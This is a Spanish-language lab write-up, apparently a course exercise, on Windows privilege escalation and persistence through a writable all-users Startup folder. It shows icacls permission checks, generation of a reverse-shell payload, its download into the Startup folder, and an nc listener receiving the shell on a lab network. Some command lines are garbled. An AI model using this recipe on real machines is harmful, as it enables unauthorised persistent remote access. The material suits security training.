



SPRING 17

UNIDAD 2

EJERCICIO 2

WINDOWS

METODO "STARTUP OTHERS"

En el presente ejercicio se expondrá la elevación de privilegios en Windows, utilizando el método **“StartUp Others”**, también llamado **“persistente via startup”** o **“método de persistencia en el inicio de Windows”**, utilizando nuestra máquina Kali como atacante y la máquina “Elv.priv.windows” como objetivo.

Se han realizado las siguientes gestiones:

1. Esta técnica se basa en la manipulación de programas o servicios que se ejecutan automáticamente cuando el sistema operativo Windows se inicia, por lo que se procede a enumerar estos servicios de inicio, los cuales están en dos carpetas comunes, dependiendo de los permisos y el usuario que se tenga:
 - C:\Users\NombreUsuario\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
 - C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\

Se comprueban ambas rutas, correspondiendo la primera a los servicios y aplicaciones que se ejecutan cuando el usuario “users” inicia sesión, y en segundo lugar, corresponde todos los servicios y aplicaciones que los usuarios en general ejecutan como inicio de sesión, teniendo acceso su propio usuario y los administradores del sistema.

```
PS C:\Users\user> icacls "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup NT AUTHORITY\SYSTEM:(OI)(CI)(F)
BUILTIN\Administrators:(OI)(CI)(F)
WINDOWS\user:(OI)(CI)(F)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos
PS C:\Users\user> icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup BUILTIN\Users:(F)
WINDOWS\vagrant:(I)(OI)(CI)(DE,DC)
WINDOWS\cloudbase-init:(I)(OI)(CI)(DE,DC)
WINDOWS\Administrator:(I)(OI)(CI)(DE,DC)
S-1-5-21-805668554-778713891-2534483124-1108:(I)(O)(CI)(DE,DC)
WINDOWS\user:(I)(OI)(CI)(DE,DC)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
Everyone:(I)(OI)(CI)(RX)

Se procesaron correctamente 1 archivos; error al procesar 0 archivos
```

1 uso de “icacls”, que permite ver, modificar, respaldar y restaurar los permisos de archivos y carpetas (ACLs) de las dos rutas de inicio de servicios en el sistema Windows

2. Como se puede observar, la ruta mas interesante para elevar privilegios es **“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”**, ya que tenemos máximos privilegios (F) sobre los programas que se inician en ella, por lo que vamos a proceder a realizar un payload para obtener una conexión remota en nuestra Kali.

```
msf6 - [Local IP: 10.0.2.12] *msf6 - [Local IP: 10.0.2.12] % msf6 -p windows/x64/shell/reverse_tcp LHOST=10.0.2.12 LPORT=4444 -x x64 -platform windows -f exe -o reverse.exe
Error: invalid payload: platform
msf6 - [Local IP: 10.0.2.12] *msf6 -p windows/x64/shell/reverse_tcp LHOST=10.0.2.12 LPORT=4444 -x x64 -platform windows -f exe -o reverse.exe
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7568 bytes
Saved as: reverse.exe
msf6 - [Local IP: 10.0.2.12] *msf6 -p windows/x64/shell/reverse_tcp LHOST=10.0.2.12 LPORT=4444 -x x64 -platform windows -f exe -o reverse.exe
Serving HTTP on 0.0.0.0 port 4444 (http://0.0.0.0:4444/)
10.0.2.15 - - [12/Oct/2024 02:35:29] "GET /reverse.exe HTTP/1.1" 200 -
10.0.2.15 - - [12/Oct/2024 02:36:27] "GET /reverse.exe HTTP/1.1" 200 -
```

2.- Realización de Payload, abriendo un servidor python para la transferencia del payload a la máquina Windows

```

PS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup> Invoke-Webrequest http://10.0.2.12:4444/reverse.exe -outfile reverse.exe
PS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup> ls

Directorio: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

Mode                LastWriteTime         Length Name
----                -
-a----          12/10/2024          1:25             7168 reverse.exe
-a----          06/02/2023          16:31            73802 x.exe

```

3.- Se ejecuta el comando Invoke-Webrequest para la transferencia del archivo al sistema Windows

- Finalmente, reiniciamos el sistema, iniciando sesión con el usuario user, consiguiendo la reverse_shell:

```

Keyboard interrupt received, exiting.
kali@kali ~ [Local IP: 10.0.2.12] TARGET_IP: 10.0.2.15 % nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.0.2.12] from (UNKNOWN) [10.0.2.15] 49715

```